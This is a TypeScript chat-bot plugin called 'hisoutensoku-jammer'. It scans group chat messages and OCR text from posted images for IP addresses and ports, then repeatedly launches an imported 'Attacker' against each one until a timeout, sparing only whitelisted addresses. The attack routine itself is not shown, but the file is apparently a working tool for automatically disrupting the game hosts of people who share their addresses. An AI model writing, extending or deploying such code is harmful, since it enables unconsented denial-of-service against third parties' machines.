import { Logger, Next, Session, segment } from 'koishi';
import { HisoutensokuJammerPluginConfig } from './config';
import {
  DefinePlugin,
  UseMiddleware,
  InjectLogger,
  Inject,
  UseEvent,
  StarterPlugin,
} from 'koishi-thirdeye';
import { Attacker } from './attacker';
import moment from 'moment';
import { chineseCharacterList } from './chinese-replace';
import { Worker } from 'tesseract.js';
import _ from 'lodash';
import { recursiveMatch } from './utils';
import AragamiPlugin, { CacheKey, CacheTTL } from 'koishi-plugin-cache-aragami';
export * from './config';

@CacheTTL(600000)
class LastMessage {
  @CacheKey()
  sender: string;
  message: string;
}

const matcherSingle =
  /(0*[^\d]*)*([1-2]?[^\d\.]?\d{0,2})(([^\d]+[1-2]?\d{1,2}){3,}?).+?([1-6]([^\d]*\d){4})(.*[\+\-]\d{1,5})*/;

const PROTOCOL_BASE64 = 'base64://';

@DefinePlugin({
  name: 'hisoutensoku-jammer',
  schema: HisoutensokuJammerPluginConfig,
})
export default class HisoutensokuJammerPlugin extends StarterPlugin(
  HisoutensokuJammerPluginConfig,
) {
  @InjectLogger()
  private log: Logger;

  @Inject(true)
  private aragami: AragamiPlugin;

  ocrWorker: Worker;

  @UseEvent('ready')
  async loadWorkers() {
    this.ocrWorker = await this.config.loadOcr();
  }

  @UseMiddleware()
  async onMessage(session: Session, next: Next) {
    this.parseMessage(
      session.content,
      session.channelId
        ? `${session.channelId}:${session.userId}`
        : session.userId,
    ).then();
    return next();
  }

  private parseMessage(message: string, sender: string) {
    const segmentChain = segment.parse(message);
    const textSegments = segmentChain.filter(
      (segment) => segment.type === 'text',
    );
    const textMessage = textSegments
      .map((segment) => segment.data.content)
      .join('')
      .trim();
    if (!this.ocrWorker) {
      return this.handleMessage(textMessage, sender);
    }
    const imageMessageUrls = segmentChain
      .filter((segment) => segment.type === 'image' && segment.attrs?.url)
      .map((segment) => segment.attrs.url);
    return Promise.all([
      this.handleMessage(textMessage, sender),
      this.workForOcr(imageMessageUrls, sender),
    ]);
  }

  private async download(url: string) {
    if (url.startsWith(PROTOCOL_BASE64)) {
      return Buffer.from(url.slice(PROTOCOL_BASE64.length), 'base64');
    }
    const data = await this.ctx.http.get<ArrayBuffer>(url, {
      responseType: 'arraybuffer',
    });
    return Buffer.from(data);
  }

  private async recognize(imageUrl: string) {
    try {
      const image = await this.download(imageUrl);
      const result = await this.ocrWorker.recognize(image);
      if (!result?.data?.text?.length) {
        this.log.warn(`Recognition of ${imageUrl} failed.`);
        return '';
      }
      const text = result.data.text;
      this.log.info(`Recognition of ${imageUrl}: ${text}`);
      return text;
    } catch (e) {
      this.log.warn(`Errored to recognize ${imageUrl}: ${e.toString()}`);
      return '';
    }
  }

  private async workForOcr(imageUrls: string[], sender: string) {
    const text = (
      await Promise.all(imageUrls.map((imageUrl) => this.recognize(imageUrl)))
    ).join('\n');
    return Promise.all(
      text.split('\n').map((line) => this.handleMessage(line, sender, false)),
    );
  }

  private async getTargetsFromMessage(
    message: string,
    sender: string,
    useCache = true,
  ) {
    let receivedMessage = message
      .split('\n')
      .join(' ')
      .toLowerCase()
      .replace(/\s{2,}/g, ' ')
      .trim();
    for (const chineseCharacter of chineseCharacterList) {
      receivedMessage = receivedMessage.replace(
        chineseCharacter.characterRegExp,
        chineseCharacter.value,
      );
    }

    receivedMessage = receivedMessage.replace(/[A-Za-z\u4e00-\u9fff]+/g, ' ');

    // Cut non-number pattern
    receivedMessage = receivedMessage.match(/\d.*\d/)?.[0];
    if (!receivedMessage) {
      return;
    }

    this.log.info(`Parsing message from ${sender}: ${receivedMessage}`);

    let messageMatch = recursiveMatch(receivedMessage, matcherSingle);
    if (useCache) {
      const lastMessage = await this.aragami.get(LastMessage, sender);
      const currentMessage = receivedMessage;
      if (lastMessage) {
        receivedMessage = `${lastMessage.message} ${receivedMessage}`;
        this.log.info(`Merged message from ${sender}: ${receivedMessage}`);
        if (!messageMatch) {
          messageMatch = recursiveMatch(receivedMessage, matcherSingle);
        }
      }
      if (!messageMatch) {
        const message = new LastMessage();
        message.sender = sender;
        message.message = currentMessage;
        await this.aragami.set(message);
        return;
      }
      await this.aragami.del(LastMessage, sender);
    } else if (!messageMatch) {
      return;
    }
    const results: { address: string; port: number }[] = [];
    for (const patternMatch of messageMatch) {
      if ((patternMatch?.length || 0) <= 6) {
        continue;
      }
      const firstDigit = patternMatch[2].replace(/[^\d]+/g, '');
      const address = `${firstDigit}.${patternMatch[3]
        .split(/[^\d]+/)
        .filter((s) => s.length)
        .join('.')}`;
      const port = parseInt(patternMatch[5].replace(/[^\d]+/g, ''));
      results.push({ address, port });
      const suffixPattern = patternMatch[7]?.replace(/[^\+\-\d]/g, '');
      if (suffixPattern) {
        const suffixMatch = suffixPattern.match(/[\+\-]\d+/g);
        if (suffixMatch) {
          let mutatedPort = port;
          for (const numberPattern of suffixMatch) {
            const portOffset = parseInt(numberPattern);
            mutatedPort += portOffset;
          }
          results.push({ address, port: mutatedPort });
        }
      }
    }

    const filteredResults = _.uniqWith(
      results,
      (a, b) => a.address === b.address && a.port === b.port,
    );
    this.log.info(
      `Got addresses: ${filteredResults
        .map((e) => `${e.address}:${e.port}`)
        .join(', ')}.`,
    );
    return filteredResults;
  }

  private async handleMessage(
    message: string,
    sender: string,
    useCache = true,
  ) {
    const targets = await this.getTargetsFromMessage(message, sender, useCache);
    if (!targets?.length) return;
    const results: boolean[] = await Promise.all(
      targets.map((target) => {
        return this.startAttack(target.address, target.port);
      }),
    );
  }

  private async startAttack(address: string, port: number): Promise<boolean> {
    if (this.config.isWhitelisted(address)) {
      this.log.info(`Attack of ${address}:${port} skipped.`);
      return false;
    }
    this.log.info(`Attack of ${address}:${port} started.`);
    const currentTime = moment();
    while (moment().diff(currentTime) <= this.config.attackTimeout) {
      const attacker = new Attacker(address, port, 1000);
      let err: string;
      try {
        err = await attacker.attack();
      } catch (e) {
        err = `Error: ${e.toString()}`;
      }
      if (err) {
        this.log.warn(`Attack of ${address}:${port} failed: ${err}`);
      } else {
        this.log.info(`Attack of ${address}:${port} succeeded.`);
      }
      await new Promise<void>((resolve) => setTimeout(resolve, 10));
    }
    this.log.info(`Attack of ${address}:${port} finished.`);
    return true;
  }
}
